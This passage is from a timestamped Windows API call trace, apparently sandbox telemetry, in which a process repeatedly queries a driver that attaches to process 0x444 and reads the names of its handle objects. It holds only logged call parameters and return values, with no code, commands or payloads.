(ApcState=0xfffff880052335d0) [0093.826] PsReleaseProcessExitSynchronization () returned 0x2 [0093.826] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.826] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.826] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0093.826] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.826] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.826] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.826] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0093.826] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.826] PsAcquireProcessExitSynchronization () returned 0x0 [0093.826] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.826] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0093.826] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.826] PsReleaseProcessExitSynchronization () returned 0x2 [0093.826] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.827] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.827] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0093.827] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.827] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.827] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.827] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.827] PsAcquireProcessExitSynchronization () returned 0x0 [0093.827] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.827] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0093.827] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.827] PsReleaseProcessExitSynchronization () returned 0x2 [0093.827] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.827] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.827] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x51 [0093.827] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.827] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.827] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.827] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.827] PsAcquireProcessExitSynchronization () returned 0x0 [0093.827] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.827] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0093.827] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.827] PsReleaseProcessExitSynchronization () returned 0x2 [0093.827] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.827] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.827] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0093.827] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.827] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.827] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.827] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.827] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.827] PsAcquireProcessExitSynchronization () returned 0x0 [0093.827] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.828] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0093.828] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.828] PsReleaseProcessExitSynchronization () returned 0x2 [0093.828] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.828] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.828] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0093.828] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.828] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.828] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.828] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.828] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.828] PsAcquireProcessExitSynchronization () returned 0x0 [0093.828] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.828] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.828] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.828] PsReleaseProcessExitSynchronization () returned 0x2 [0093.828] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.828] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.828] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.828] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.828] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.828] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.828] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.828] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.828] PsAcquireProcessExitSynchronization () returned 0x0 [0093.828] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.828] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.828] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.828] PsReleaseProcessExitSynchronization () returned 0x2 [0093.828] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.828] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.828] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.828] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.828] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.828] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.829] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.829] PsAcquireProcessExitSynchronization () returned 0x0 [0093.829] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.829] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0093.829] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.829] PsReleaseProcessExitSynchronization () returned 0x2 [0093.829] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.829] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.829] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0093.829] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.829] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0093.829] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.829] PsAcquireProcessExitSynchronization () returned 0x0 [0093.829] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.829] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0093.829] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.829] PsReleaseProcessExitSynchronization () returned 0x2 [0093.829] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.829] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.829] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0093.829] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.829] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.829] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0093.829] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.829] PsAcquireProcessExitSynchronization () returned 0x0 [0093.829] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.829] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0093.829] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.830] PsReleaseProcessExitSynchronization () returned 0x2 [0093.830] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.830] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.830] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0093.830] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.830] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.830] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.830] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.830] PsAcquireProcessExitSynchronization () returned 0x0 [0093.830] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.830] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0093.830] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.830] PsReleaseProcessExitSynchronization () returned 0x2 [0093.830] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.830] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.830] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0093.830] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.830] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.830] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.830] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.830] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.830] PsAcquireProcessExitSynchronization () returned 0x0 [0093.830] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.830] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0093.830] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.830] PsReleaseProcessExitSynchronization () returned 0x2 [0093.830] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.830] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.830] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0093.830] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.830] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.830] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.831] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.831] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.831] PsAcquireProcessExitSynchronization () returned 0x0 [0093.831] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.831] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0093.831] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.831] PsReleaseProcessExitSynchronization () returned 0x2 [0093.831] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.831] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.831] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0093.831] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.831] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.831] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.831] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0093.831] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.831] PsAcquireProcessExitSynchronization () returned 0x0 [0093.831] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.831] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0093.831] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.831] PsReleaseProcessExitSynchronization () returned 0x2 [0093.831] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.831] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.831] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0093.831] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.831] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.831] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.831] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.831] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.831] PsAcquireProcessExitSynchronization () returned 0x0 [0093.831] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.831] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0093.831] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.831] PsReleaseProcessExitSynchronization () returned 0x2 [0093.832] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.832] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.832] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0093.832] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.832] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.832] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0093.832] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.832] PsAcquireProcessExitSynchronization () returned 0x0 [0093.832] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880052335d0) [0093.832] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0093.832] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.832] PsReleaseProcessExitSynchronization () returned 0x2 [0093.832] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x191 [0093.832] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.832] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0093.832] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0093.832] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.832] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.832] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.832] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005233558 | out: 